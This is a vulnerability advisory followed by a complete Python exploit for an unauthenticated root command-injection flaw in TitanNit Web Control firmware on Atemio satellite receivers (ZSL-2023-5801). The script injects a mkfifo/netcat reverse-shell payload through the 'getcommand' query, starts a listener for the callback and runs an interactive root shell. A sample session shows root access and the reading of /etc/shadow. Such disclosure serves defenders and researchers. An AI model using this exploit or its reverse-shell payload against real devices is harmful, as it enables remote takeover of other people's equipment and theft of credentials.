The Atemio AM 520 HD Full HD satellite receiver has a vulnerability that enables an unauthorized attacker to execute system commands with elevated privileges. This exploit is facilitated through the use of the getcommand query within the application, allowing the attacker to gain root access. Firmware versions 2.01 and below are affected.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
#
# TitanNit Web Control 2.01 / Atemio 7600 Root Remote Code Execution
#
#
# Vendor: AAF Digital HD Forum | Atelmo GmbH
# Product web page: http://www.aaf-digital.info | https://www.atemio.de
# Affected version: Firmware <=2.01
#
# Summary: The Atemio AM 520 HD Full HD satellite receiver enables the
# reception of digital satellite programs in overwhelming image quality
# in both SD and HD ranges. In addition to numerous connections, the small
# all-rounder offers a variety of plugins that can be easily installed
# thanks to the large flash memory. The TitanNit Linux software used combines
# the advantages of the existing E2 and Neutrino systems and is therefore
# fast, stable and adaptable.
#
# Desc: The vulnerability in the device enables an unauthorized attacker
# to execute system commands with elevated privileges. This exploit is
# facilitated through the use of the 'getcommand' query within the application,
# allowing the attacker to gain root access.
#
# ========================================================================
# _# python titannnit_rce.py 192.168.1.13:20000 192.168.1.8 9999
# [*] Starting callback listener child thread
# [*] Listening on port 9999
# [*] Generating callback payload
# [*] Calling
# [*] Callback waiting: 3s
# [*] ('192.168.1.13', 40943) called back
# [*] Rootshell session opened
# sh: cannot set terminal process group (1134): Inappropriate ioctl for device
# sh: no job control in this shell
# sh-5.1# id
# <-sh-5.1# id
# uid=0(root) gid=0(root)
# sh-5.1# cat /etc/shadow | grep root
# <-sh-5.1# cat /etc/shadow | grep root
# root:$6$TAdBGj2mY***:18729:0:99999:7:::
# sh-5.1# exit
# [*] OK, bye!
#
# _#
# =======================================================================
#
# Tested on: GNU/Linux 2.6.32.71 (STMicroelectronics)
# GNU/Linux 3.14-1.17 (armv7l)
# GNU/Linux 3.14.2 (mips)
# ATEMIO M46506 revision 990
# Atemio 7600 HD STB
# CPU STx7105 Mboard
# titan web server
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2023-5801
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5801.php
#
#
# 16.11.2023
#
from time import sleep
import threading
import requests
import socket
import sys
class RemoteControl:
def __init__(self):
self.timeout = 10
self.target = None
self.callback = None
self.cstop = threading.Event()
self.path = "/query?getcommand=&cmd="
self.lport = None
self.cmd = None
def beacon(self):
self.cmd = "mkfifo /tmp/j;cat /tmp/j|sh -i 2>&1|nc "
self.cmd += self.callback + " "
self.cmd += str(self.lport) + " "
self.cmd += ">/tmp/j"
self.path += self.cmd
r = requests.get(self.target + self.path)
def slusaj(self):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", self.lport))
s.listen(1)
print("[*] Listening on port " + str(self.lport))
sleep(1)
try:
conn, addr = s.accept()
print("n[*]", addr, "called back")
print("[*] Rootshell session opened")
self.cstop.set()
except socket.timeout:
print("[-] Call return timeoutn[!] Check your ports")
conn.close()
while True:
try:
odg = conn.recv(999999).decode()
sys.stdout.write(odg)
command = input()
command += "n"
if "exit" in command:
exit(-17)
conn.send(command.encode())
sleep(0.5)
sys.stdout.write("<-" + odg.split("n")[-1])
except:
print("[*] OK, bye!")
exit(-1)
s.close()
def tajmer(self):
for z in range(self.timeout, 0, -1):
poraka = f"[*] Callback waiting: {z}s"
print(poraka, end='', flush=True)
sys.stdout.flush()
sleep(1)
if self.cstop.is_set():
break
print(' ' * len(poraka), end='r')
if not self.cstop.is_set():
print("[-] Call return timeoutn[!] Check your ports")
exit(0)
else:
print(end=' ')
def thricer(self):
print("[*] Starting callback listener child thread")
plet1 = threading.Thread(name="ZSL", target=self.slusaj)
plet1.start()
sleep(1)
print("[*] Generating callback payload")
sleep(1)
print("[*] Calling")
plet2 = threading.Thread(name="ZSL", target=self.tajmer)
plet2.start()
self.beacon()
plet1.join()
plet2.join()
def howto(self):
if len(sys.argv) != 4:
self.usage()
else:
self.target = sys.argv[1]
self.callback = sys.argv[2]
self.lport = int(sys.argv[3])
if not self.target.startswith("http"):
self.target = "http://{}".format(self.target)
def dostabesemolk(self):
naslov = """
o===--------------------------------------===o
| |
| TitanNit Web Control Remote Code Execution |
| ZSL-2023-5801 |
| |
o===--------------------------------------===o
||
||
||
||
||
||
||
||
L!
/_)
/ /L
_______________________/ (__)
_______________________ (__)
_(__)
||
||
||
||
||
||
"""
print(naslov)
def usage(self):
self.dostabesemolk()
print("Usage: ./titan.py <target ip> <listen ip> <listen port>")
print("Example: ./titan.py 192.168.1.13:20000 192.168.1.8 9999")
exit(0)
def main(self):
self.howto()
self.thricer()
if __name__ == '__main__':
RemoteControl().main()
